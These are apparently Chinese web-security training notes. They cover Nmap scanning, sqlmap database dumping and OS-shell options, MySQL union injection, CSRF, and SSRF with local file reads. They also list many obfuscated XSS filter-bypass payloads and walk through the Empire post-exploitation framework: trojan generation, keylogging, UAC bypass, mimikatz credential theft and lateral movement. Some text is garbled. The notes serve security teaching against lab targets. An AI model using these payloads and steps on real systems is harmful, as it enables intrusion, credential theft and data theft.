锦官城1

web安全攻防实训笔记

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T（0-6档）设置扫描的速度一般设置T4 过快容易被发现

-v 显示信息的级别，-vv显示更详细的信息

192.168.1.1/24 扫描C段 192.168.11 -254 =上

nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)

--------------- 192.168.1.1/24 --exclude 192.168.1.100 （排除在外的目标 .100）

--------------- -----------------excludefile ~/targets.txt

nmap 192.168.1.1 -p 80.443 网站是否在这个端口部署网站

nmap –traceroute 192.168.1.1 探测路由

nmap -O 192.168.1.1 对目标进行指纹识别

nmap -sV ---------- 对版本进行探测

nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描，识别是否被关闭，收到RST包，说明被关闭。否则是open 后者 fileter状态。（利用三次握手，可以绕开防火墙）

nmap –script=auth+ip 处理鉴权证书的脚本，也可以作为检测部分应用弱口令

-----------=brute+ip 暴力破解

扫描脚本介绍:

位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts

脚本类型：

ll /usr/share/nmap/scripts | grep ^- | wc -l

使用介绍:

nmap --script=auth 192.168.137.*

负责处理鉴权证书（绕开鉴权）的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

提供暴力破解的方式可对数据库，smb，snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默认的脚本扫描，主要是搜集各种应用服务的信息，收集到后，可再针对具体服务进行攻击。

nmap --script=vuln 192.168.137.*

检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4

在局域网内探查更多服务开启状况

zenmap

Nmap 的图形化界面：

2.SQLmap 简介

是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持的数据库：MySQL，Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

（1）安装sqlmap前，需要先安装Python3.X

Python Releases for Windows | Python.org

（2）在环境变量path中，增加python3.x 安装路径

（3）下载sqlmap并解压缩：

地址：sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助 borp

sqlmap支持五种不同的注入模式：

UNION query SQL injection（可联合查询注入）
uError-based SQL injection（报错型注入）
uBoolean-based blind SQL injection（布尔型注入）
uTime-based blind SQL injection（基于时间延迟注入）
uStacked queries SQL injection（可多语句查询注入）

2.sqlmap 常用命令参数

-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描，但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求，这样的话就不需要再去设定cookie，POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

3.设置回显等级

参数： -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

（级别越高显示信息越多）

4同时显示HTTP请求。

5同时显示HTTP响应头。

6同事显示HTTP响应页面。

--data 把数以post方式提交，sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie （用于区分用户）

可能会有漏洞，当web登录时，抓取数据包。

4.设置HTTP数据包相关参数

HTTP User-Agent 头

参数：--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

5.设定探测等级：--level

共有五个等级默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中，目前连接的用户

--is-dba 判断当前是否为管理，是的话返回true

--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080

--os-shell 前提：需要网站的物理路径，其次是需要有FIILE权限

6.Sqlmap“六步”

第一步：判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”

检测该网站是否存在漏洞白色加粗字体为注入点也就是攻击对象

第二步：获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

第三步：查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db

四：列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security（目标数据库）”—tables

五：读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

六：读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump（dump=下载，脱库）

判断当前数据库用户权限：

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE ，那么权限该用户很大。

-roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表，输入该命令会列举出每个用户的角色，

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

-referer HTTPReferer头

当–level参数设定为3或3以上时，会尝试对HTTP Referer注入。可以使用referer命令来欺骗，如--referer https://mp.mysite.net

-sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令：

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

--os-cmd=whoami

--os-shell

(以你的电脑为跳板，对局域网进行渗透，或留后门)

--file-read 从数据库服务器中读取文件：当前用户有权限使用特定的函数时，读取的文件可以是文本，也可以是二进制文件。

上传文件到数据库服务器中：

--file-write

--file-dest

读取指定数据库用户的密码

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

SQLMAP进阶常用tamper脚本

apostrophemask.py 将引号替换为utf-8，用于过滤单引号（易容术）

适用数据库：ALL

作用：将引号替换为utf-8，用于过滤单引号

使用脚本前：tamper("1 AND '1'='1")

使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

multiplespaces.py 围绕sql关键字添加多个空格去绕过

适用数据库：ALL

作用：围绕sql关键字添加多个空格

使用脚本前：tamper('1 UNION SELECT foobar')

使用脚本后：1 UNION SELECT foobar

3. Burp Suite工具

一．配置及代理设置

1.使用前配置

①选择代理Proxy选项卡

②选择设置option选项卡

③Edit Running打勾 124.0.0.1:8080

配置成功

历史访问

二．功能模块讲解

模块介绍

send to spider 发送给爬虫模块

do a active scan 进行一次主动扫描

send to intruder 发送给爆破模块

send to repearter 发送给重放模块

send to comparer 发送给比对模块

send to decoder 发送给解码模块

request in browser 将请求在浏览器重放

四：MYSQL与SQL注入

mysql知识点- 基本查询语句

查询表中全部信息： select *from 表明-关键的函数

select+以下语句

version() 数据库版本

database() 数据库名

user() 用户名

current_user() 当前用户名

system_user() 系统用户名

@@datadir 数据库路径

@@version_compile_os 操作系统版本

-order by（排序）语法

-联合查询

order by 1—

order by 2—确定字段数

使用UNION操作符注入另外一个select查询，并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据

注意：相同的列结构

需要有知道表结构，列结构

exists（）函数猜解表明

information_schema 是一个mysql系统自带的元数据库

information_schema.SCHEMATA 查看所有的数据库

五、 XSS基础

1、什么是XSS?

中文名为跨站脚本攻击，跨站脚本，(Cross-Site Scripting, XSS)，当目标网站用户在渲染HTML文档的过程中，出现非预期的脚本指令并执行时，XSS就发生了。

2、攻击者给予应用恶意XSS代码，导致用户访问应用或服务器时执行代码，导致被XSS攻击。

攻击者→服务器→用户（xss是一种迫使Web站点回显可执行代码的攻击技术，而这些可执行代码由攻击者提供、最终为用户浏览器加载）

3、XSS的危害： 1.网络钓鱼，包括盗取各类用户的账号

2.窃取用户cookies资料，从而获取用户信息。

3.获取客户端信息，IP/端口等

4.劫持用户浏览器会话，从而执行任意操作

5.强制弹出窗口。

6.网页挂马，进行恶意操作

7.进行大量的客户端攻击如DDoS攻击

8.控制受害者机器向其他客户端攻击

4、XSS分类

①反射型：非持久型，调取用户cookie或者进行钓鱼，常常为通过引诱用户点击一个恶意链接来实施攻击。

（特点：

① 主要用于将恶意脚本附加到URL地址的参数中

② 只在用户单击url时触发,而且只执行一次,非持久化

③常用来窃取客户端 Cookies

或进行钓鱼欺骗.

④常常为通过引诱用户点击一

个恶意链接来实施攻击的）

name为可控参数

我们可以通过执行恶意代码弹窗，那么也能做些对我们有利的事情。

当我们构造好了如下恶意代码，发送给受害者。

将会弹出用户的cookie值，我们构造js代码，将该cookie值发送至我们自己的服务器，或者用XSS平台接收该cookie（例如https://xsshs.cn/），我们就能通过该cookie非法登录受害者的账户。

②存储型：渗透挂马蠕虫病毒出现在网站的留言、评论、日志等交互处，被存储在数据库或者客户端中，等再次浏览时受到攻击。

（特点：① 恶意代码被保存到目标网站的服务器中，每次用户访问时都会执行脚本代码，这种攻击具有较强的稳定性和持久性

② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.

③ 一般出现在网站的留言、评论、日志等交互处,）

页面原理：

POST提交数据，生成、读取文本模拟数据库，

提交数据之后页面会将数据写入sql.txt，

再打开页面时会读取sql.txt中内容并显示在网页上，

实现了存储型xss攻击模拟。

当输入恶意代码，即会执行

并且恶意代码会一直存储在服务器，每当有用户访问该页面，即会触发恶意代码

利用XSS弹出恶意警告框

网页不停刷新

http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=

获得cookie

劫持流量（跳转到你的博客强行吸粉）

③dom型：将XSS代码嵌入dom文档（每一个网页），通过JS脚本对文档对象进行编辑从而修改页面元素，增加漏洞。

xss平台

1.获取COOKIE(这是必须的最基本的功能)

2.获取源码(取当前网页的源码)

3.截图(可自己修改为连续截图)

4.……………

https://xss.pt

https://xssaq.com

XSS利用——无任何过滤
- alert(1);
- //onerror等事件，可以调用js
- <iframe οnlοad=alert("xss");>
 //src中支持伪协议
- <textarea οnfοcus=alert("xss"); autofocus></li> </ul></li> <li>往往用户可控的参数都进行了过滤，不会让你用一个<script>标签就轻易攻击成功</li> </ul> <script>shellcode</script> XXS绕过： <ul> <li>关键字绕过 <ul> <li>空格绕过 <ul> <li>用/代替空格 <img/src="x"/οnerrοr=alert("xss");></li> <li>关键字绕过 <ul> <li>大小写绕过 <ImG sRc=x onerRor=alert("xss");></li> <li>利用其他标签</li> <li>双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");></li> <li>字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script> </li> <li>利用函数进行编码绕过 <ul> <li>Unicode绕过 <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过</li> <li>ASCII码 <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"></li> <li>Hex绕过 <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')></li> <li>Base64编码 <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> </li> </ul></li> </ul></li> </ul></li> </ul></li> <li>过滤括号 <ul> <li>当括号被过滤的时候可以使用throw来绕过 <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理</li> <li>反引号 <img src=x οnerrοr=alert`1`></li> </ul></li> <li>过滤双引号，单引号 <ul> <li>反引号 <img src=1 οnerrοr=alert`1`;></li> </ul></li> <li>js事件 <ul> <li>当某个位置的可控点在一个标签内，那么或许可以通过js事件来完成xss操作</li> </ul></li> <li><img src=1 οnerrοr=alert`1`;></li> </ul> <a href="http://img.e-com-net.com/image/info8/cb4b374f89704381acaecb3949f2b974.jpg" target="_blank"><img alt="web安全攻防实训笔记_第28张图片" src="http://img.e-com-net.com/image/info8/cb4b374f89704381acaecb3949f2b974.jpg" width="650" height="614" style="border:1px solid black;"></a> <ul> <li>混淆： 利用html标签格式的不严格、容错性。 <ul> <li>关键字中加空格</li> <li>加TAB</li> <li>回车</li> </ul></li> </ul> url编码 <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> 六．Cref漏洞 1，漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行（因此对其防范相当稀少，比xss更加具有危险性。 原理：利用目标用户身份，以目标用户名义执行非法操作（以目标用户名义发邮件，消息，盗取目标账号，购买商品，虚拟货币转账等），会泄露目标用户的财产安全。 Ps：（CSRF漏洞经常用来制作蠕虫攻击，刷SEO流量） 靶场实战：漏洞分析： ： <a href="http://img.e-com-net.com/image/info8/b4d7527b1f7c4999baff76240a5772a9.jpg" target="_blank"><img alt="web安全攻防实训笔记_第29张图片" src="http://img.e-com-net.com/image/info8/b4d7527b1f7c4999baff76240a5772a9.jpg" width="650" height="180" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/fb18f743430a43cc9d97ccb57dc13e10.jpg" target="_blank"><img alt="web安全攻防实训笔记_第30张图片" src="http://img.e-com-net.com/image/info8/fb18f743430a43cc9d97ccb57dc13e10.jpg" width="650" height="174" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/2d54705dc0e0498db0fb7d9a0b18a477.jpg" target="_blank"><img alt="web安全攻防实训笔记_第31张图片" src="http://img.e-com-net.com/image/info8/2d54705dc0e0498db0fb7d9a0b18a477.jpg" width="650" height="372" style="border:1px solid black;"></a> Ssrf漏洞：是一种由攻击者构造请求，由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器，一个是由客户端发起的。 在域名后增加url=语句，从而利用ssrf漏洞篡改脚本访问的地址。 攻击方式如下： A，对外网，服务器所在的内网，本地进行端口扫描，获取的banner信息。 B，攻击运行在内网或本地的应用程序。 C，对内网web应用进行指纹识别，识别企业内部的资产信息。 D.攻击内外网的web应用，主要是用HTTP请求就可以实现的攻击（比如struts2，sqli 等等） E，利用file协议读取本地文件。 SSRF漏洞利用： 测试地址：http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php 页面ssrf.php实现的功能获取GET参数URL，然后将url的内容返回网页上。 如果将请求的网址篡改为http://www.baidu.com，则会显示http://www.baidu.com的网页内容，但是，当设置参数URL为内网地址时，则会泄露内网信息。 访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。 <a href="http://img.e-com-net.com/image/info8/907751e779594831af29a338450df112.jpg" target="_blank"><img alt="web安全攻防实训笔记_第32张图片" src="http://img.e-com-net.com/image/info8/907751e779594831af29a338450df112.jpg" width="650" height="384" style="border:1px solid black;"></a> Ssrf漏洞修复建议： <ol> <li>，限制请求的端口只能为web端口，只允许访问HTTP和HTTPS的请求。</li> <li>限制不能访问的内网ip，以防止对内网进行攻击。</li> <li>屏蔽返回的详细信息。</li> </ol> 七，Empire Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测和大部分安全防护工具的查杀，简单来说就有点类似Metasploit，是一个基于PowerShell的远程控制木马。 Empire运行在linux平台上 官方下载地址，不过很久没有更新，需要Python 2.6/2.7环境 https://github.com/EmpireProject/Empire KALI示例： git clone https://github.com/EmpireProject/Empire.git <img alt="" src="http://img.e-com-net.com/image/info8/786b33c93ca249bcbf9ce1d141ea7322.png" width="0" height="0"> 然后安装Empire的依赖，命令如下 cd Empire cd setup pip install -r requirements.txt（若没有安装pip库，则需要先通过apt-get install pip进行安装） ./install.sh 在安装完依赖以后，返回上一级文件，启动Empire工具，命令如下： cd .. ./empire 若启动失败，则可能是因为依赖未完全安装好，只需要手动通过pip install xxx安装未安装好的依赖即可。 启动时如果遇到如下报错 <a href="http://img.e-com-net.com/image/info8/eb84c33e657046538c55e11aa59c63d0.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/eb84c33e657046538c55e11aa59c63d0.jpg" width="650" height="79"></a> 可以将urllib3版本降级 pip install urllib3==1.22 重新设定 bash reset.sh 基本使用会涉及如下内容： 1.帮助文档 2.设置监听 3.生成木马 4.连接主机和基本使用 5.信息收集 6.权限提升 帮助文档 运行Empire后，输入help命令查看具体的使用帮助。 <a href="http://img.e-com-net.com/image/info8/85a87649a2914c5e9b7809efa37c949d.png" target="_blank"><img alt="web安全攻防实训笔记_第33张图片" src="http://img.e-com-net.com/image/info8/85a87649a2914c5e9b7809efa37c949d.png" width="1135" height="598" style="border:1px solid black;"></a> 设置监听步骤如下： listeners #进入监听线程界面 uselistener #设置监听模式 info #查看具体参数设置 set #设置相应参数 execute #开始监听 输入Listeners命令进入监听界面，按TAB键可以补全命令，按两次TAB键或者help可以显示可以利用的模块 <a href="http://img.e-com-net.com/image/info8/d6afa1d77e084698ad94b5b1de509cc6.png" target="_blank"><img alt="web安全攻防实训笔记_第34张图片" src="http://img.e-com-net.com/image/info8/d6afa1d77e084698ad94b5b1de509cc6.png" width="1003" height="157" style="border:1px solid black;"></a> 输入uselistener来设置采用何种监听模式，双击TAB可以看到有以下可以使用的模式。 <a href="http://img.e-com-net.com/image/info8/bf7d84a87a984157a731187ba69ffd1b.png" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/bf7d84a87a984157a731187ba69ffd1b.png" width="917" height="79"></a> 设置监听 这里采用http监听模式，输入uselistener http。 <a href="http://img.e-com-net.com/image/info8/b09386517ea64da8908a878a757314ff.png" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/b09386517ea64da8908a878a757314ff.png" width="859" height="49"></a> 然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。 <a href="http://img.e-com-net.com/image/info8/58e5fb77f75a406ba6d9608553ea37b2.jpg" target="_blank"><img alt="web安全攻防实训笔记_第35张图片" src="http://img.e-com-net.com/image/info8/58e5fb77f75a406ba6d9608553ea37b2.jpg" width="650" height="359" style="border:1px solid black;"></a> 通过set配置参数，并提供execeute执行，需要注意的是Empire不同于Metasploit，Empire命令是区分大小写的 <a href="http://img.e-com-net.com/image/info8/e31753a69bdb4cf981448e757f25a826.png" target="_blank"><img alt="web安全攻防实训笔记_第36张图片" src="http://img.e-com-net.com/image/info8/e31753a69bdb4cf981448e757f25a826.png" width="946" height="294" style="border:1px solid black;"></a> 通过back返回上一级，使用listeners或者list可以查看所设置的监听器 <a href="http://img.e-com-net.com/image/info8/c827caa7a5b04f6cbe31dd3423968ea4.png" target="_blank"><img alt="web安全攻防实训笔记_第37张图片" src="http://img.e-com-net.com/image/info8/c827caa7a5b04f6cbe31dd3423968ea4.png" width="1158" height="185" style="border:1px solid black;"></a> 生成木马 输入usestager后空格加TAB键查看可以设置的木马模式 <a href="http://img.e-com-net.com/image/info8/14dfb5e82782464fadf5d8bf21253a26.jpg" target="_blank"><img alt="web安全攻防实训笔记_第38张图片" src="http://img.e-com-net.com/image/info8/14dfb5e82782464fadf5d8bf21253a26.jpg" width="650" height="119" style="border:1px solid black;"></a> 木马就类似Metasploit中的payload，其中multi为通用模块，osx是Mac操作系统的模块，剩下的是Windows的模块。 我们以 windows/launcher_bat为例，给大家说下过程，其他的使用都类似 要使用launcher_bat，首先输入usestager windows/launcher_bat，然后输入info命令查看详细参数 <a href="http://img.e-com-net.com/image/info8/f59c2e70bcab489486cc70a057f81779.png" target="_blank"><img alt="web安全攻防实训笔记_第39张图片" src="http://img.e-com-net.com/image/info8/f59c2e70bcab489486cc70a057f81779.png" width="1069" height="446" style="border:1px solid black;"></a> 通过set配置参数，我们需要设置一个 Listener 参数，即监听的名字（前面我们给监听起得一个名字test1），通过execeute执行， 文件会生成到 tmp 目录下，如下所示在目标主机上运行生成的launcher.bat，输入 agents 可以查看已经获得的会话 <a href="http://img.e-com-net.com/image/info8/472b0d01786b4eef8b4c2eeb14dfbdd2.png" target="_blank"><img alt="web安全攻防实训笔记_第40张图片" src="http://img.e-com-net.com/image/info8/472b0d01786b4eef8b4c2eeb14dfbdd2.png" width="973" height="107" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/93ab028d745441f682f6d603de2f9d66.jpg" target="_blank"><img alt="web安全攻防实训笔记_第41张图片" src="http://img.e-com-net.com/image/info8/93ab028d745441f682f6d603de2f9d66.jpg" width="650" height="170" style="border:1px solid black;"></a> 我们再介绍另一种生成木马方式：launcher 如果只需要简单的powershell 代码，在设置完相应的参数后，可直接在监听器（listeners）中输入命令 launcher <language> <Listener Name> 生成base64编码的代码 <a href="http://img.e-com-net.com/image/info8/7d1a05572bc4482187f6b5552fc1434c.jpg" target="_blank"><img alt="web安全攻防实训笔记_第42张图片" src="http://img.e-com-net.com/image/info8/7d1a05572bc4482187f6b5552fc1434c.jpg" width="650" height="152" style="border:1px solid black;"></a> 然后复制生成的payload 在目标机器上执行 <a href="http://img.e-com-net.com/image/info8/f794f12963e749b580aeadde10244502.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/f794f12963e749b580aeadde10244502.jpg" width="650" height="52"></a> 可以看到有会话生成，输入 agents 可以查看已经获得的会话 <a href="http://img.e-com-net.com/image/info8/4cecfedb6e5047209df26009b13c490a.jpg" target="_blank"><img alt="web安全攻防实训笔记_第43张图片" src="http://img.e-com-net.com/image/info8/4cecfedb6e5047209df26009b13c490a.jpg" width="650" height="180" style="border:1px solid black;"></a> 连接主机和基本使用 在目标主机反弹成功以后，可以通过agents命令列出当前已连接的主机，这里要注意如果有带有(*)的是已提权成功的主机。 然后使用interact命令连接主机，可以使用Tab键补全主机的名称，连接成功以后可以通过rename修改会话名称 <a href="http://img.e-com-net.com/image/info8/d9e0605e5b5949c1872867e6e6c5efff.jpg" target="_blank"><img alt="web安全攻防实训笔记_第44张图片" src="http://img.e-com-net.com/image/info8/d9e0605e5b5949c1872867e6e6c5efff.jpg" width="650" height="164" style="border:1px solid black;"></a> 可以通过help查看可以使用的命令 <a href="http://img.e-com-net.com/image/info8/0f7824192b004ce9baa2dc8f6984a179.jpg" target="_blank"><img alt="web安全攻防实训笔记_第45张图片" src="http://img.e-com-net.com/image/info8/0f7824192b004ce9baa2dc8f6984a179.jpg" width="650" height="463" style="border:1px solid black;"></a> 输入help agentcmds可以查看可供使用的常用命令输入help agentcmds可以查看可供使用的常用命令可以通过pwd查看当前目录 <a href="http://img.e-com-net.com/image/info8/3b7e4b2389a1488384bf8400e40dd57c.png" target="_blank"><img alt="web安全攻防实训笔记_第46张图片" src="http://img.e-com-net.com/image/info8/3b7e4b2389a1488384bf8400e40dd57c.png" width="796" height="246" style="border:1px solid black;"></a> upload可以上传文件，通过cat查看文件内容 <a href="http://img.e-com-net.com/image/info8/fdfc15086d134366bda825dd3e62da35.png" target="_blank"><img alt="web安全攻防实训笔记_第47张图片" src="http://img.e-com-net.com/image/info8/fdfc15086d134366bda825dd3e62da35.png" width="523" height="217" style="border:1px solid black;"></a> 使用某些CMD命令时，要使用“shell+命令的形式” ，如下 <a href="http://img.e-com-net.com/image/info8/754e0cf74ed346a6965f4402b16f762a.png" target="_blank"><img alt="web安全攻防实训笔记_第48张图片" src="http://img.e-com-net.com/image/info8/754e0cf74ed346a6965f4402b16f762a.png" width="637" height="238" style="border:1px solid black;"></a> Empire主要用于后渗透。所以信息收集是比较常用的一个模块，可以使用searchmodule命 令搜索需要使用的模块，这里通过键如usemodule collection然后按Tab查看完整的列表 <a href="http://img.e-com-net.com/image/info8/46537248060c41beb65477450565140f.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/46537248060c41beb65477450565140f.jpg" width="650" height="61"></a> 1.屏幕截图 输入以下命令，然后执行即可 <a href="http://img.e-com-net.com/image/info8/49c0d35e2ff64b2e800f8d74666c8a34.jpg" target="_blank"><img alt="web安全攻防实训笔记_第49张图片" src="http://img.e-com-net.com/image/info8/49c0d35e2ff64b2e800f8d74666c8a34.jpg" width="650" height="120" style="border:1px solid black;"></a> 2.键盘记录 输入以下命令usemodule collection/keylogger，通过info可以查看详细信息，execute执行 可以通过jobs kill JOB_name停止键盘记录 <a href="http://img.e-com-net.com/image/info8/287cbf3f49f74b658a4d1dfc107eeea8.png" target="_blank"><img alt="web安全攻防实训笔记_第50张图片" src="http://img.e-com-net.com/image/info8/287cbf3f49f74b658a4d1dfc107eeea8.png" width="740" height="824" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/08a87f31f92e4c00b8d94375da1f966f.png" target="_blank"><img alt="web安全攻防实训笔记_第51张图片" src="http://img.e-com-net.com/image/info8/08a87f31f92e4c00b8d94375da1f966f.png" width="530" height="103" style="border:1px solid black;"></a> 3.ARP扫描 Empire也内置了ARP扫描模块，输入以下命令即可使用该模块，这里要设置Range参数 <a href="http://img.e-com-net.com/image/info8/9fcd82ab614748629a114b71ec2df142.png" target="_blank"><img alt="web安全攻防实训笔记_第52张图片" src="http://img.e-com-net.com/image/info8/9fcd82ab614748629a114b71ec2df142.png" width="821" height="759" style="border:1px solid black;"></a> 4.查找域管登陆服务器IP 在内网渗透中，要想拿到内网中某台机器的域管权限，方法之一就是找到域管登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，以下这个模块就是用来查找域管登录的机器的。 使用模块usemodule situational_awareness/network/powerview/user_hunter <a href="http://img.e-com-net.com/image/info8/3392f20adb044f8fa01f349dd8556995.jpg" target="_blank"><img alt="web安全攻防实训笔记_第53张图片" src="http://img.e-com-net.com/image/info8/3392f20adb044f8fa01f349dd8556995.jpg" width="650" height="224" style="border:1px solid black;"></a> 权限提升 提权，顾名思义就是提高自己在服务器中的权限，就比如在Windows中，你本身登陆的用户是Guest，通过提权后，就会变成超级管理员，拥有了管理Windows的所有权限。以下是常见几种提权方式： 1.Bypass UAC UAC介绍 UAC（UserAccount Control，用户账户控制）简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。 <a href="http://img.e-com-net.com/image/info8/5ff860107905438f9c487281e6bd5c8a.jpg" target="_blank"><img alt="web安全攻防实训笔记_第54张图片" src="http://img.e-com-net.com/image/info8/5ff860107905438f9c487281e6bd5c8a.jpg" width="650" height="362" style="border:1px solid black;"></a> 为了远程执行目标的exe或者bat可执行文件绕过此安全机制，以此叫BypassUAC（不进行弹窗直接运行执行文件） 输入以下命令，设置Listener参数，运行execute，会发现成功上线了一个新的反弹 <a href="http://img.e-com-net.com/image/info8/9fee905b51a24816b5cd39043e48dee8.png" target="_blank"><img alt="web安全攻防实训笔记_第55张图片" src="http://img.e-com-net.com/image/info8/9fee905b51a24816b5cd39043e48dee8.png" width="909" height="276" style="border:1px solid black;"></a> 返回agents，通过list可以看到有一个新的会话，并且带有*，说明提权成功。 <a href="http://img.e-com-net.com/image/info8/4d9237f47f0b47819bb4cc7c0bbeb1f9.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/4d9237f47f0b47819bb4cc7c0bbeb1f9.jpg" width="650" height="96"></a> 2.PowerUp Empire内置了PowerUp的部分工具，用于系统提权，主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式，输入以下命令，然后通过tab键查看完整列表 <img alt="" src="http://img.e-com-net.com/image/info8/b75b56183356412db119615a494cbd6c.jpg" width="650" height="27"> 查找系统中的漏洞，和PowerSploit下PowerUp中的Invoke-AllChecks模块一样，该模块可以执行所有脚本检查系统漏洞 <a href="http://img.e-com-net.com/image/info8/0a8b759806c44069a68d9a04b7aadc26.png" target="_blank"><img alt="web安全攻防实训笔记_第56张图片" src="http://img.e-com-net.com/image/info8/0a8b759806c44069a68d9a04b7aadc26.png" width="728" height="343" style="border:1px solid black;"></a> 我们可以通过BypassUAC进行提权 3.通过溢出漏洞 本地溢出提权首先要有服务器的一个普通用户权限，攻击者通常会向服务器上传本地溢出程序，在服务器端执行，如果系统存在漏洞，那么将溢出Administrator权限。 <a href="http://img.e-com-net.com/image/info8/456df036e5e3400687c99d3590c4d8f6.png" target="_blank"><img alt="web安全攻防实训笔记_第57张图片" src="http://img.e-com-net.com/image/info8/456df036e5e3400687c99d3590c4d8f6.png" width="674" height="362" style="border:1px solid black;"></a> 这里我们使用ms16-032来提权，输入以下命令即可通过溢出漏洞进行提横向渗透，就是在已经攻占部分内网主机的前提下，利用既有的资源尝试获取更多的凭据、更高的权限，进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。 在横向渗透中，最先得到的主机，以及之后新得到的主机，会成为突破口、跳板。如同一个不断扩大的圆形，获得的主机越多，圆能触及之处越大，让其周遭的「横向」部分由未知成为已知。 1.令牌窃取 我们在获取到服务器权限后，可以使用内置mimikatz获取系统密码，执行完毕后输入creds命令查看Empire列举的密码。如下图所示 <a href="http://img.e-com-net.com/image/info8/b4bfb04ea4834d788a6e22cb8d2251f2.jpg" target="_blank"><img alt="web安全攻防实训笔记_第58张图片" src="http://img.e-com-net.com/image/info8/b4bfb04ea4834d788a6e22cb8d2251f2.jpg" width="650" height="200" style="border:1px solid black;"></a> 从这里发现有域用户曾在此服务器上登录，此时可以窃取域用户身份，然后进行横向移动 